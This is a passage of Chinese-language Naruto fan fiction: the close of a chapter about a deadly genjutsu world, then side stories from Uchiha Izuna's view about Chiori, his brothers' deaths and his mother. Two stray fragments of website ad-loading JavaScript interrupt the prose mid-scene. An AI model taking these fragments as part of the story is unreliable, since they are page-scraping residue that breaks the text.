美好的、悠闲的、宛若经营小游戏的世界只是一块遮羞布,遮掩着某种可怕的事实。 而我是造成着一切的人。 太阳停止下沉,飞鸟静止在天空之中,万物沉寂。 我能够控制这个世界的一切。 我抓住泉奈的手腕,冷冷地看着他。 “宇智波泉奈,你是想当救世主吗?” 令人感动的说辞,但大概也是花言巧语的勇者诱骗魔王放过无辜的人,趁机斩杀魔王拯救世界达成幸终的故事套路。 我讨厌背叛,想到泉奈可能会做这样的事,心中就不住地升起戾气。 他愣了好一会儿,才道:“我只是希望你,能够过得开心一些。” “火核他们留在这里,会死,你会伤心的。” 我一时之间说不出话来:“……那你呢?你想陪我一起死在这里?” 少年忍者的眼神变得无比温柔,带着不似这个年龄的宽容:“族人们有斑哥照看,一切都没问题的,这一次我只想陪着你。” 心脏陡然涌起一股酸涩的难受。 “幻术也好,死亡也好,我都陪着你。” 我好像听见了遥远的时空之外传来的声音。 老师的声音说:“不要因为幻术而死。” 泉奈痛苦的声音说:“不要死在幻术里。” 现在,眼前这个泉奈告诉我,幻术和死亡,他都接受。 不像真的。 我不禁松开手,抬手抚上他的脸,问他:“你是我的幻术吗?” 泉奈缓缓抱住我,手按在我的背上,语气低缓:“我是真的。” 他没有趁机攻击我。 我缓缓松开周围一直戒备着的攻击手段,放松了一些,抓住他的衣服。 就像是在黑暗中待得太久了,然后突然找到了同伴一般,我死死地抓住了他。 心中那股不知从何而来的,一直如影随形的孤独和恐惧,终于消散了一些。 我们之外的世界正缓缓地露出原本的样子。 笼罩着森林的苍白雾气在日光下消散得无影无踪,露出了其中被巨力摧折倒地的树木、昏迷的忍者和平民、以及死去多时的忍者。 崩塌的幻术世界正在哀鸣。 爱丽舍乐园、阿瓦隆、桃花源、常世之国,都是人们对美好世界理想乡的构想与向往。 但理想乡只存在于想象,幻术更是用于欺骗人类以达成某种目的的手段。 常世终究是幻术,是武器,是人类美好祈愿的表象,却暗藏杀机让人自愿赴死的杀人之术。 ——即使是施术者,也会沉溺其中的幻术。 “泉奈,我以前是什么样的?”我问泉奈。 “你从来没变过。”大概是识破了我这个问题后会随之而来的死亡问题,泉奈直接回答到下一个问题去了。 无趣的回答,但勉强满意。 “泉奈,外面的世界,是什么样的?” “……”这次泉奈的声音沉默了好半天,“是你不喜欢的世界,对你来说,大概哪里都很糟糕。” 和一开始我问他时的答案差不多。 火核还是说错了,泉奈没在骗我。 失去了更多查克拉来源的幻术世界正在疯狂抽取着我们的查克拉和瞳力。 “外面的世界和这里的世界,你更喜欢哪一个?”我又问泉奈。 这次泉奈没有回答。 我缓缓抚上已经昏迷的他的脸上,我们的外貌不知道什么时候,已经变成了成年人的模样。 隔着他的眼睑,他的眼睛微微发着烫,我从中察觉到一丝熟悉的瞳力。 ——属于我的瞳力。 或许正是因此,他没有在进入常世后被同化。 我轻轻地抚摸着他的脸,觉得自己以前应该很喜欢很喜欢他。 喜欢到不想让他死去。 “稍微还是有点嫉妒。”现实中的自己。 我闭上眼睛,最终握住了泉奈的手,等待着幻术的终结。 黑暗无光的世界、幽绿的池塘、人生的走马灯。 意识在不断上浮。 游鱼的影子越发地近,拖曳着美丽而宽大尾巴的金鱼从池中跃起,头也不回,顺着水流灵活地游向江湖。 “不要死在幻术中。”我轻轻说道。 大概是在对自己说,也大概是在对泉奈说。 49.番外.泉奈1 1.幼子 宇智波泉奈是家中幼子。 最小的孩子,享有兄长父母们的关心,却也仅此而已。 他们家一共五个孩子,继承权按序齿排,作为最小的孩子,泉奈分别要辅佐大哥二哥三哥四哥。 除非头上那四个哥哥都出了点什么意外,才轮到他来继承所谓的“宇智波的威名”。 泉奈喜欢他的哥哥们,也不想他的哥哥们出意外。 因此他很小的时候,就就接受了这个事实——宇智波泉奈是作为辅佐自己的兄长们而生的。 2.竞争 虽然对自己的家庭地位和功能有了清晰的认知,但宇智波泉奈还是有着兄弟之间的竞争之心。 这是本能。 可惜他的哥哥们太多,他又实在太小。 年龄差最小的四哥都能上训练场的时候,四哥抓了块糖放他手里,说:“泉奈,不要靠得太近,会受伤的。” 宇智波泉奈觉得受到了轻视,可哥哥们都说他还太小了。 太小了——所以不是值得正视的对手。 泉奈对此很是愤怒。 母亲在一旁笑得乐不可支,而后掩住了笑容,招手让他过去。 “那泉奈,你来替妈妈做事,作为交换,妈妈教你忍术怎么样?”妈妈问他。 于是族长夫人身边多了个小跑腿。 过了两天,兄长们问他学了什么忍术。 泉奈说:“替身术,我很快就能赶上哥哥们了。” 大哥狠狠地拍了下四哥的背,四哥止住了笑。 二哥对他说:“嗯,你能做到的,泉奈。” 最小的泉奈是家里最受照顾的孩子,他很喜欢哥哥们,却不喜欢他们对自己过于照顾的态度。 哥哥死之前,这一直是泉奈最大的苦恼。 3.伤药 就算母亲愿意提前教他忍术,但高难度的忍术泉奈还是接触不到。 大哥二哥在院子里互相喷火遁,泉奈看得艳羡不已,偷偷看了哥哥们收起来的卷轴。 巳、未、申、亥、午、寅,豪火球之术的结印顺序。 宇智波泉奈知道自己要是偷看哥哥们的忍术卷轴,肯定会被教训一顿。 他不害怕父亲兄长的责骂,但害怕哥哥们给他戴什么奇怪的猫耳朵头饰然后坐在一起笑。 所以他偷偷溜了出去,去湖边练习火遁。 在后来千织说的“幼儿园都不让入学”的年纪,宇智波泉奈一个人坐在湖边练习结印,练完结印又想起查克拉的走向没跟上,一个人磕磕绊绊练习得手忙脚乱。 他都没注意周围来了人。 他也不知道宇智波千织是什么时候到的。 总之等他的嘴里好不容易吐出一两个小火星的时候,他高兴得准备回家和哥哥们炫耀一番——他无愧于宇智波的姓氏,自己学会了火遁。 一转头,泉奈就看见另一边的台阶上坐着个女孩子。 黑发黑眸的女孩子托着腮,直勾勾地望着湖的方向——也望着他刚才练习的方向。 泉奈自己也不明白为什么,突然有些恼羞成怒,没来由地有了些蛮不讲理的想法。 ——这个家伙,怎么一声不吭的! 她肯定看到他出丑的样子了! 于是他气势汹汹地走过去,想要威胁对方不许把自己看到的说出去。 “啊?”女孩子好像这才回过神,“我刚才在看什么?” 她重复了一遍自己的问题,然后道:“就是在盯着湖面发呆,怎么了?” “那我刚才练、练习火遁……” “刚才有火吗?”女孩的语气更疑惑了。 泉奈:“……” 可恶! 泉奈觉得这比刚才以为的更羞耻了! “你刚才在练习火遁吗?你家里人允许……”女孩子这才收回目光落到他身上,漫不经心地问着,话语却忽然顿住,手指点了一下自己的唇角,“你这里受伤了诶,不上药吗?” 一直沉浸在自己成功喷火喜悦的小忍者这才后知后觉自己在练习忍术的时候受伤了,被点出来后伤口似乎立刻就疼了起来。 还不如不告诉他呢! 这么想着的时候,面前的女孩子犹豫了一下,从兜里拿出一罐伤药:“用吗?” 泉奈呆了一下:“……给我吗?” 对面的女孩子神情顿时险恶起来:“怎么可能,这是我哥哥的药,借给你用一点而已,你还想要一整罐啊?” “……”这个人变脸也太快了!而且他也没有让她把整罐药送他啊! 他以后绝对不要成为这种人! 这么想的同时,他红着脸接过对方递来的烫伤药,不好意思地道了声谢。 上完了药,泉奈注意到她随身带着烫伤药,突然有种不妙的猜测:“你已经学会火遁了吗?” 女孩子疑惑地啊了一声:“没有啊,现在还不准我学呢。” 泉奈这时候又不觉得她过分了,刚升起了一丝同为苦命人的情谊,就听到她说:“所以我威胁我哥不教我火遁就别想拿回他的药。” “啊?”宇智波泉奈震撼地看着她。 这个同族小姑娘又皱了下眉:“结果我哥重新去买了一瓶药,没见过脾气这么倔的人。” “……” “千织。”就在泉奈还想和她说会儿话的时候,不远处一个男孩子喊了下女孩子的名字。 泉奈看过去,是和三哥走得很近的宇智波火核。 “我走了。”被叫作千织的女孩子站起身拍了下身上的灰尘,连他的名字都没问就向宇智波火核跑了过去,十分依赖地抓住了他的手,跟着对方离开。 宇智波泉奈心里有些不舒服。 火核那家伙肯定不是宇智波千织的哥哥。 刚才她明明对自己的哥哥很不满意。 但泉奈又有些希望宇智波火核是她的哥哥。 回家之后,他跑到三哥边上,装得漫不经心的,问他:“哥哥,平常总和你一起训练的那个宇智波火核,他家里有兄弟姐妹吗?” “火核?他家里就他一个,怎么了,泉奈?”哥哥有些疑惑。 泉奈有些别扭,不愿意说出今天白天发生的事。 “没什么。”他只说。 4.错过 后来再见到宇智波千织的时候,是在训练场上。 泉奈一眼就认出她了。 火核牵着她的手过来的,还一边低着头叮嘱着她什么。 在宇智波千织目光扫来的时候,宇智波泉奈突然有些紧张,但宇智波火核又和她说了什么,宇智波千织便毫不在意地转开目光,找了块空地走过去练习。 “……”宇智波泉奈确信,宇智波千织对他一点印象都没有。 有什么了不起的,大不了他也不记得宇智波千织! 话虽如此,在训练场遇上的时候,泉奈总是忍不住关注对方的练习。 说来也奇怪,明明训练场有对抗练习,按理说他们同龄,总会遇上的,结果泉奈等啊等,次次都刚好和对方组队训练错过。 后来泉奈也随意了,遇不上就遇不上吧。 结果宇智波千织的手里剑不知道为什么,飞到他这边。 诡异的是,在这只手里剑出现前,他完全没察觉到它的气息。 这对已经上过战场的泉奈来说几乎是不可能的。 因此在被那只手里剑划伤后,他看向宇智波千织的眼神都带了些惊恐。 她到底怎么做到的! 5.优点 宇智波千织第一次上战场就开了写轮眼。 回到族里后,泉奈得知了这个消息,一晚上没睡着。 哥哥们的领先固然让人难受,但同龄人领先更加让他无法接受。 辗转反侧后,第二天他就跑去找宇智波千织了。 之前那些暗自赌气的想法早就被他抛到了脑后,什么都没有写轮眼重要。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 结果他好像刺激到了宇智波千织。 看着对方一个劲地扶着树吐,宇智波泉奈整个人都难受得不行,连写轮眼的事都放到了一边,憋了半天才憋出一句对方不是忍者。 他本来还想多安慰一会儿对方——有没有用暂且不论,他就是不想见到宇智波千织那么难受。 结果哥哥和宇智波火核过来了,他被哥哥叫走,回去训练的时候都还想着宇智波千织的事。 哥哥看出他的分心,问他怎么了。 “哥哥,千、宇智波千织为什么会那么难受?”而且她为什么会在那种情况下开写轮眼。 三哥说道:“没什么特别的原因,那个孩子太软弱了。” 泉奈朝三哥看去,他评价千织的时候,神情淡淡的,并没有把千织放在心上。 宇智波泉奈想,那个家伙才不软弱呢,他可以数出她一箩筐的优点。 比如手里剑扔得很有水平呀、勤奋好学想要提前学忍术呀、有计谋挟烫伤药以令火核呀…… 才不是那么简单的软弱才能形容的人呢。 而且千织也……很可爱。 三哥仿佛看出了他内心所想,又对他说:“泉奈,你很在意她?” “火核那个妹妹并没把你放在眼里,她对很多人都是这样,你离她远些。” 6.手帕 哥哥对千织的轻视一边让泉奈不高兴,一边也让泉奈松了口气。 泉奈觉得自己有些矛盾,但是…… 那么优秀的千织只有自己一个人知道真是太好了。 ……哥哥不会和他抢,真是太好了。 但不久之后,泉奈就听说千织和哥哥在同一个老师那里学习幻术。 危机感聚升的他去找哥哥:“哥哥,宇智波千织和你一起学习幻术,她学得怎么样?” 哥哥愣了一下,而后有些抱歉地说道:“我没有注意,抱歉,泉奈。不过你不需要和她比较,你们之间是不一样的。” 泉奈暗自松了口气,还好哥哥只是把他的问题当作了竞争之心。 也还好哥哥没和千织有更多的联系。 然而,哥哥和千织没有更多的联系,他也没有。 不知道为什么,千织似乎从训练场销声匿迹了。 他一边担忧着,又不知道该以什么方式去见宇智波千织。 早知道以前就不赌气了。 反正那家伙根本不知道。 就这么过了段时间,四哥在战场上不幸死掉了。 泉奈回家后一个人躲在房间里哭,要是爸爸看到了,肯定会责骂他。 等他好不容易控制好情绪出来,就碰上三哥从门外回家。 “哥哥。”泉奈低落地叫了三哥一声。 三哥却仿佛受到惊吓般极快地回头看了一眼。 面对他疑惑的目光,辉的表情恢复了正常,对他说了声没什么。 泉奈注意到他的眼角有些红。 泉奈又想起死去的哥哥,飞快地眨动眼睛,避免当着兄长的面流下泪来。 当天晚上泉奈注意到三哥去找了二哥一趟。 他见过母亲回来时,一进院子就看见两人的动作了。 三哥让二哥帮忙把一张洗过的手帕烘干。 二哥的火遁很厉害,他像是对三哥说了什么调侃的话,三哥的神情有一瞬间的不自在。 手帕烘干后,三哥将手帕接了过去,转过身后看见了他。 辉立刻将手帕塞进了怀里。 “哥哥,那是……?”泉奈有些疑惑。 哥哥怎么像是被他吓到了。 二哥在一旁看了看三哥,又看看他,突然皱了下眉,起身率先回房了。 哥哥的表情十分温和,回答他:“只是一张手帕,泉奈。” 泉奈有些懵懂地应了一声。他其实看见是手帕了,只是有些不理解哥哥的举动。 当然,后来他知道了。 那是千织的手帕。 50.番外.泉奈2 1.拖延 宇智波泉奈发现,虽然哥哥口中说着和千织不熟,但是哥哥对千织有着莫名的关注。 每次出发去战场前,哥哥总会被来送行的千织吸引目光。 虽然,千织每一次,都只和火核说话。 哥哥对千织的关注让泉奈不安,可哥哥每次都会对他说:“我是在等火核,泉奈。” “宇智波千织连我的名字都记不住,你怎么会这么想?”哥哥微笑着回答他。 但就是这样回答他的哥哥,在最后一次出发前的晚上,叫住了他。 “泉奈,你这次和火核分在一起。明天出发前,你去找火核问清楚小队安排,再过段时间,你也要开始带队了。”哥哥坐在院子,借着月光保养自己的忍具。 泉奈想起每次千织都会去找火核,内心止不住地涌出一阵古怪。 这样火核会错过千织的送行。 可哥哥的话似乎也很有道理。 但他不能再提起千织了,问得多了,哥哥会生疑的。 他不由地打量起哥哥,半晌才问道:“是命令吗,哥哥?” “嗯?算是吧。”三哥这么回答他。 第二天早上,他找到了火核,向他问起了带队的事宜。 余光看见了不远处的哥哥正在和千织说话。 “……” “泉奈?”火核见他走了下神,唤了声他的名字。 泉奈回过神:“我记住了——如果有小队成员失散的话。” 哥哥利用了他,哥哥在防备他,哥哥欺骗了他。 泉奈想。 哥哥也,注意到了千织。 2.遗物 泉奈注意到三哥的异常,不止这一处。 他对千织的关注,其实也早有预兆。 一起出任务回来经过市集的时候,哥哥的目光会不由自主看向那些卖女孩子用的东西的铺子上去。 可是哥哥没有关系亲近的女孩子。 他也从来没买过那些东西。 ……不,或许是买过,他不知道而已。 那时,哥哥的异常让泉奈有些不安。 于是他又问了一次哥哥:“哥哥,你和千织的关系怎么样,我想找她比一场手里剑。” 之前他被千织的手里剑伤到,这个借口并不会让人多想。 辉当时在看忍术卷轴。 他愣了一下,放下卷轴,苦笑着看泉奈:“还没放弃吗,泉奈?” “我和宇智波千织不熟,她都不记得我的名字。”哥哥这么回答他。 后来,在整理哥哥遗物的时候,他发现了一抽屉被退回的礼物。 之所以知道是被退回的礼物,是因为里面有张礼物备选清单,上面列了很多东西,被划掉的都在抽屉里,只有剩下的一个没被划掉——排在末尾的忍术卷轴。 那些被退回的礼物被整整齐齐地收纳在一起,是泉奈从没有见到哥哥买过的东西。 祈福驱邪的发簪、做工精致的手帕、昂贵的万花筒镜…… 给予美好祝福的、日常会用到的、无聊时可以用来打发时间玩乐的,他的哥哥就好像是时时刻刻都想着对方一样,想要将自己看到的好东西送到对方的面前。 角落里有一个署名千织的幻术卷轴,卷轴上字迹工整,论证严密,将幻术讲得十分通俗易懂,不像是她这个年龄的人能写得出来的。 于是这些礼物的主人是谁便呼之欲出了。 泉奈一边为哥哥的死亡悲痛,一边又止不住地浑身发冷。 哥哥喜欢宇智波千织。 为了救他而死的哥哥,喜欢他在意的千织。 而他们之间的联系,远比他所知道的深。 但是这样喜欢千织的哥哥,最后竟然死在了千织的幻术中。 泉奈不知道自己该对谁生气。 是欺骗他的哥哥? 是让哥哥放弃治疗的千织? 或者,是他自己。 3.幻术 哥哥曾经说,宇智波千织记不住他的名字。 他不止一次用这个借口让泉奈相信他们的关系只是普通的同学。 但是在那个满溢着药味的房间,濒死的哥哥强撑着精神和强忍着不落泪的千织说话,那些谎言便不攻自破了。 但那时候,泉奈觉得,随便怎么样都好,只要哥哥能好起来,他不会去问哥哥为什么要骗他。 他以为哥哥和千织说过话后,会好好养伤。 但等他带着药师回来时,却见到了自己完全无法接受的一幕。 他自幼孺慕着的、爱着的哥哥,放弃了继续活下去。 虽然药师们说很难,但是他的哥哥向来厉害,泉奈觉得只要哥哥愿意,他一定可以坚持下来——明明都已经从战场上活着回来了! 可是为什么,哥哥要沉迷软弱的幻术,就这么死去? 是他实力不足,才会让哥哥受伤。 是他的错,他没有尽到一个弟弟义务,明明弟弟是为了帮助兄长才存在的,他却让兄长为了救他落到这种境地。 他不想哥哥这么死去,只要哥哥能活过来,他再也不和兄长争抢、试探了。 ——他会做一个合格的弟弟。 可哥哥却情愿死在幻术中,放弃了忍者的坚持,就这么懦弱地死去了。 从小他们便被教导,忍者需要强大的心智,不该被欺骗人心的幻术所迷。 忍者的战亡是光荣的,但沉迷幻术、逃避现实,是最懦弱的表现。 而和哥哥一样专攻幻术的千织,明明也该知道这一点。 她应该拒绝哥哥才对! 为什么他们都这么轻易地接受了这样的结局? 他们怎么可以接受这样的结局! 又为什么,没有人去制止他们! 被兄长拉开的时候,宇智波泉奈痛苦地看着已经失去呼吸的三哥和眼眶中流下鲜血的千织。 愤怒、慌乱、恐惧、愧疚,还有连泉奈自己都没意识到的嫉妒,占据了泉奈的理智。 4.母亲 三哥死后,泉奈就只剩一个哥哥。 他是家中幼子,头上有四个哥哥,继承权按照序齿排,除非哥哥们运气不好,都出了事,才会轮到他来继承“宇智波的威名”。 可大哥死了、四哥死了,现在三哥也为了救他而死。 泉奈只剩下唯一一个哥哥了。 他不想哥哥再出意外。 所以从今往后他会做一个合格的弟弟,宇智波未来族长的助手。 但在另一边,他又完全无法再以正常的心态面对宇智波千织。 无论如何,哥哥是死在她的幻术中的。 而千织在哥哥死后对他说的那番话更是彻底激怒了他。 ——就为了这点理由,就为了她自己能够好受一些,她就要让哥哥的死染上不光彩的怯懦之名。 泉奈下意识地不去想哥哥自身的意愿。 明明他已经隐隐约约地察觉到了,但不敢去想,因为再想下去,从小所学到的、并赖以构建出的属于忍者的价值观,就会如同被虫蚁蛀空的梁木,轰然倒塌。 ——比起在现实中苟延残喘到最后一刻,向来优秀的、坚韧的、他所追逐想要超过的哥哥,自愿放弃了忍者的坚持,像个普通人般赴死。这不是那时的泉奈所能接受的。 所以千织给出的答案明明漏洞百出,他想都没想就接受了。 当天他们在训练场打得毫不顾忌,宇智波千织和他都没有留手。 就好像这样就能忘记重要之人离去的悲痛,就好像承担了这些来自旁人的伤痛后…… 他们这些幸运的、还活着的人,就已经为自己的幸运付出了代价。 当被宇智波千织按在训练场的地上时,他看见了千织的眼睛。 天空是明亮的蓝色。 蓝色之下,她的眼睛是黑色的、充满阴霾的,像是在下雨。 明明宇智波千织从头到尾都没有哭过。 但她的眼睛在哭。 他们在训练场闹出的动静很大。 回家之后,妈妈问起他这件事。 “……宇智波千织是个软弱的人,”泉奈将白天的事告诉了母亲,并缓缓地重复着多年前哥哥对千织的评价,“她为了自己的感受,让哥哥陷入了幻术。” 泉奈的声音微微颤抖,在冷静下来的现在,在再度重复他所理解的一切时,他已经察觉到了其中的漏洞。 母亲在三哥重伤回来后,身体就垮了。 泉奈失去了三个哥哥,母亲也接连失去了自己的三个孩子。 过去会微笑着打趣他、又耐心地手把手教她忍术的女人躺在病榻上,无力地支起手臂,轻抚他的头发。 “你是这样认为的吗?”母亲的声音很虚弱,神情倦怠,“你相信了宇智波千织的话吗?” 泉奈有些茫然地看着母亲。 “想要成为强大的忍者,可不能这么听信他人之言……你只是在迁怒,泉奈。”就像个发脾气的小孩子。 母亲的语气没有丝毫责备,但泉奈却陡然慌乱起来。 作为宇智波族长的幼子,他必须成为一个合格的、强大的忍者,为自己的兄长增添助力。 母亲平静的话语却否认了这一切。 他偏信一面之词,不能明辨是非,这样是无法帮助斑哥的。 “我……”泉奈不由抓住母亲的手捧住,“我不是、我……我只是不理解。” 是的,他只是不理解。 优秀的哥哥为什么会做出这样的选择。 即便宇智波千织将使用幻术的责任全都归结于她一人,但是…… 真正软弱怯懦的人,怎么可能会顶着会被族长责罚、将来前途尽失的风险,去给一个将死之人编造美好的幻术,让对方死得没有那么痛苦? 只是为了自己的人,根本不需要做到这一步。 千织是为了哥哥,才这样做的。 ……哥哥放弃了一直引以为豪、作为忍者的坚持。 “……对不起,妈妈,我就是在迁怒,我不知道除此之外我还能做什么。”泉奈终于落下泪来,承认了自己行为。 ——不能哭,宇智波泉奈。 他这么在心中对自己说,但眼泪根本止不住。 这样的他根本不是合格的忍者。 但妈妈却安慰他:“你只是,还没有到理解这些的年纪,辉也并不是软弱。” 他没有到,那宇智波千织呢? 他们明明同龄。 泉奈心中更为茫然了。 5.二长老 无法理解一切的泉奈,想要和宇智波千织道歉。 可是每当他找到千织,千织便一副恹恹的模样:“又来了吗?走吧。” 他的道歉便迟迟无法宣之于口。 刚开始的时候,在训练场,他会顾及下手的轻重,可是千织会在微妙地察觉到这一点后问他:“宇智波泉奈,你今天是没吃饭吗?” “宇智波泉奈,你的水平也就仅此而已吗?” “宇智波泉奈,不想打你就别来浪费时间。” “……” 他察觉到宇智波千织这些挑衅背后几乎不可察觉的焦虑。 就好像,比起他而言,千织更需要这些对练比试。 世界上没有不透风的墙,千织对哥哥用幻术的事还是被其他人知道了。 千织在的时候还好。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 不在的时候,训练场中的小忍者们,会用“二长老那边那个人”来指代千织,言语中多是避讳。 又因为他和千织在训练场上争锋相对,他们便认为他也对千织持同样的态度。 于是在千织看不见的时候,这些人便会为他打抱不平:“泉奈大人,那个宇智波千织也太过分了,不就仗着会点幻术,她当初一定是嫉妒辉大人比她厉害,才……” 强大的忍者,不能听信一面之词,要学会明辨是非。 这遍是信口造谣。 “她的幻术,比哥哥厉害,”泉奈盯着说话的那个人,让他出来,“你既然觉得她不行,想必能力比她出众,来和我比一场。” 在这些人发现,通过贬低千织的方式并不能讨好他,反而可能会被揍一顿后,他们便不再敢传这种荒谬的话了。 但他还是无法理解哥哥的放弃和千织的谎言。 所以在千织外出做任务的时候,泉奈找到了二长老。 二长老问他来做什么。 “哥哥向来是个冷静而坚定的人,我不理解哥哥为什么会想要死在幻术中。”宇智波泉奈看着兄长的老师,想要他给出一个答案。 要是每个忍者都逃亡虚幻的幻术世界,忍者就没有存在的必要了。 因此,强大的忍者,不会被幻术所迷。 二长老说,因为现实太过残酷,而哥哥接触了太多幻术。 “历代优秀的幻术师,少有逃离死于幻术诅咒的。编织的幻术多了,术者便也模糊在了真实与虚幻的界限。对于初窥门径的幻术师而言,这种情况更多。” “您的意思是说,哥哥是被幻术所迷?” 二长老却说:“或许,你的兄长并没有你想象的那么坚不可摧,他也仅仅是个普通人。” 泉奈感到被冒犯。 他恼火地看着二长老:“我的哥哥才不是这种人,幻术是能被掌握的东西,根本没有你说的这么可怕。” 二长老只是看着他不说话。 泉奈又说:“请您教我幻术,我会向您证明的。” “……或许你这样的性格,才更适合研究幻术。”二长老却仿佛完全没有被他冒犯的语气激怒,突然叹了一口气。 泉奈愣了一下:“什么?” “你把幻术当作力量的一种,当做工具,反而不会在幻术中越陷越深,”二长老淡淡地解释了一句,“只是我的弟子死得太多,我已经不想再教新的学生了。” 泉奈却觉得二长老刚才话里有话:“您说我这样的人,那千织呢?” 这一次,二长老沉默了很久。 “你和千织,是什么关系?”他问泉奈。 泉奈皱了一下眉,不太自在地偏过脸:“我们没什么关系,不过经常在训练场上做对手罢了。” 但二长老的眼睛似乎看透了他的心思,他被二长老看得心烦意乱:“您不想说就算了,我也没想知道——” “宇智波泉奈,”二长老打断他,“千织日后恐怕会和你的哥哥一样。” 泉奈倏地睁大了眼睛。 “您不该这么说您的学生!”泉奈又气又惧,他起身想要离开,却被二长老的下一句话定住了身形。 “千织是我的学生中,唯一一个会不断地编织同一个幻术并且不断完善内容的人,那样的态度根本不是为了战斗,反而像是在打磨一样珍宝。” 不断完善内容的幻术像什么,已经经历过哥哥死亡的泉奈再清楚不过。 ——一个虚幻的世界。 这家伙研究这种东西干什么! “不会有人做这种无聊的事的!”泉奈不想再待下去了,仿佛只要不相信,他所听到的事便不会存在。 但他所观察到的事实在提醒他。 千织基本没有朋友,就像哥哥曾经说的那样,她没有将族中的人放在心上。 千织每天上完课,除了做任务和与他去训练场,就是自己回家,没有社交。 那么,在她所编织的那个幻术中,会有她的朋友吗? “看在你哥哥的情谊上!”二长老却陡然扬起声音。 泉奈脚步微顿。 “我活不了多久了,看在你哥哥的份上,今后如果有这么一天,请帮帮她。” 泉奈缓缓转头,他看向族中幻术最厉害的老人,冷淡地说道:“不会有这么一天的,您只是年纪大了,太容易多愁善感。” 这是在骂对方老眼昏花年纪大了不中用。 人在生气的时候,什么伤人难听的话都说得出口。 宇智波泉奈很生气,因为二长老就这么断定千织的未来。 也或许是因为,那句看在哥哥的份上。 这种事、这种事完全不需要和哥哥扯上关系! 之后,因为他和千织仍然雷打不动在训练场打架,身体虚弱的妈妈便抽空又问了一次是什么情况。 这一次,泉奈想起二长老家发生的事和过去在训练场上隐隐感到的错觉,而后他轻轻握着母亲的手:“妈妈,我们没在闹脾气。” “大概是我们性格确实不和,”泉奈这么自嘲道,他也不知道该怎么和母亲诉说他隐约察觉到的东西,只能说,“我们只是在训练而已。” 他也在想,会不会是他的错觉。 宇智波千织或许根本不需要和他练习。 但过了几天,千织却对他说不想再这么下去了。 “打架的样子挺难看的,到此为止吧,我不想再这么下去了。” 泉奈看着一脸毫不在意的千织指尖却死死掐着掌心,想了想,学着过去她挑衅自己那般,问道:“你认输了?” 千织的神情骤然难看起来。 泉奈暗中松了一口气。 51.番外.泉奈3 1.开眼 千织被派去据点的事,泉奈是在千织离开后才知道的。 那之前他一直以为千织病了。 他不由想起二长老活着的时候说的话。 ——为什么一直没好? ——是因为……沉浸在幻术世界中了吗? 千织的老师也去世了,宇智波一族中,千织在意的人也只剩下她的父母和火核了。 泉奈对此更为担忧。 但他逐渐从火核的态度中察觉到端倪。 宇智波火核没有半分担忧生病的妹妹的样子。 就凭火核以前暗地里揍了好几个想向千织表白的家伙这一点,宇智波火核现在的态度就不对劲。 可千织的状态本来不需要隐瞒的。 思来想去,泉奈觉得这件事实在不对,去问了父亲。 “您给了宇智波千织秘密任务吗?”泉奈问父亲。 父亲当时以一种很诧异的眼神看着他,好一会儿才告诉他千织被派去了据点。 他这才知道,千织已经离开族地好一段时间了。 知道这件事时,泉奈一边放下心来,又一边忍不住担忧。 千织没事就好,她在族地外也能接触到更多的人,或许根本不会像二长老想的那么糟糕,千织怎么会逃避去虚拟的世界呢? 但是族外的危险那么多,千织会不会遇上危险? 千织会不会有更好的朋友——比和哥哥的关系还好? ……不,忍者不应该有朋友,外面的人都是骗子。 就像当初那个千手柱间欺骗斑哥一样。 泉奈想。 他一边因为千织的事心烦意乱,一边又想不明白自己的心情。 不用担心千织会一个人陷入幻术世界了,她现在在族外,每天遇到见到的事比在族里多得多。 ……那他为什么还要想宇智波千织? 宇智波泉奈觉得自己真是闲着没事干了,有这些胡思乱想的时间不如多学几个忍术。 斑哥的写轮眼都开了,作为弟弟的他也得努力才行。 但很快,他就再也没心思想这些东西了。 母亲的病越来越重,整日昏昏沉沉,困于梦魇,在睡梦中呼唤着死去的几个兄长的名字。 此时的父亲和兄长都还在战场上,他们都走不开,接到消息的泉奈被提前派了回来。 他跪坐在母亲的床边,握着那双曾经手把手教他结印的手。 宇智波泉奈学会的第一个忍术,不是老师、父亲、兄长教的,是母亲教的替身术。 小时候觉得很有力气的手,变得枯瘦无力,泉奈都快想不起来过去的妈妈是什么样的了。 泉奈不停地对妈妈说,他在这里。 可是妈妈只要哥哥们。 最后那天,妈妈的精神好了些,问他:“泉奈,战争结束了吗?” “快了,爸爸和哥哥就要回来了。”泉奈回答道。 “这样啊。” 最后的最后,妈妈抚摸着他的脸,说:“让我再看看你,泉奈。” 战争没有结束,母亲在初夏时节永远闭上了眼睛。 宇智波泉奈第一次知道,原来开启写轮眼的过程,如此痛苦。 眼睛就像是被烈火灼烧,仿佛有一柄细长的刀子在搅动着眼部的经络,猛然催生而出的瞳力肆无忌惮地冲刷着眼睛,将其转换为写轮眼的开眼状态。 但这些痛苦在失去亲人的痛苦比较之下,都显得微不足道。 安葬了母亲之后,泉奈重新回到了战场。 他不再去想自己认识的人是如何开眼的。 2.礼物 火核收到千织的信的时候,泉奈刚好在一边。 那是快要入秋的时候了,他们在回族地的路上,气氛放松。 那只常在父亲身边见到的忍猫正待在火核身边,喵喵喵地说话。 火核正在看信,忍猫还捎来了两个盒子,泉奈没注意这些,在听忍猫的话。 但当忍猫说道千织在给火核挑选写轮眼的礼物时的话时,火核却停了下来,喝止了忍猫。 “随意拿她身边的事作谈资,万一泄密了怎么办?”火核的表情有些难看。 但忍猫的语言也就只有宇智波一族会学,泄密的可能不大,火核的反应过激了。 很快,泉奈就知道火核为什么会反应过激。 在火核略带犹豫和疑惑地将千织寄来的一个盒子递给他时,泉奈也有些不可置信。 “千织说,恭喜你开眼。”火核解释道。 “……” 他也在刚才忍猫转述的、千织打趣的范围内。 火核或许对他有些误会,他才不会因为这种小事生气。 泉奈微笑着收下礼物,直到回了营帐才悄悄一个人打开看。 是一个木雕。 泉奈看着自己的木雕,又抬手摸了一下自己的脸,突然不知道为什么,笑了一下。 他不知道该怎么形容自己的心情,就是突然之间,看什么都觉得很好,他收起礼物,连睡意都没了,就去隔壁找斑哥。 斑哥在看忍术卷轴,见他进来,问他怎么了。 泉奈此刻却呆了一下,他没什么事,就是很开心。 但他也不可能就对斑哥说:“哥哥,我心情有些好。”他也不想说千织的事。 泉奈不得不随便编了个理由溜走。 晚上睡之前,他又想起那个雕像。 千织记得他。 记得他的名字,也记得他的模样。 还得给千织选一份回礼。 泉奈想起哥哥那份失败的礼物清单,对礼物的挑选有了大致方向。 3.再见 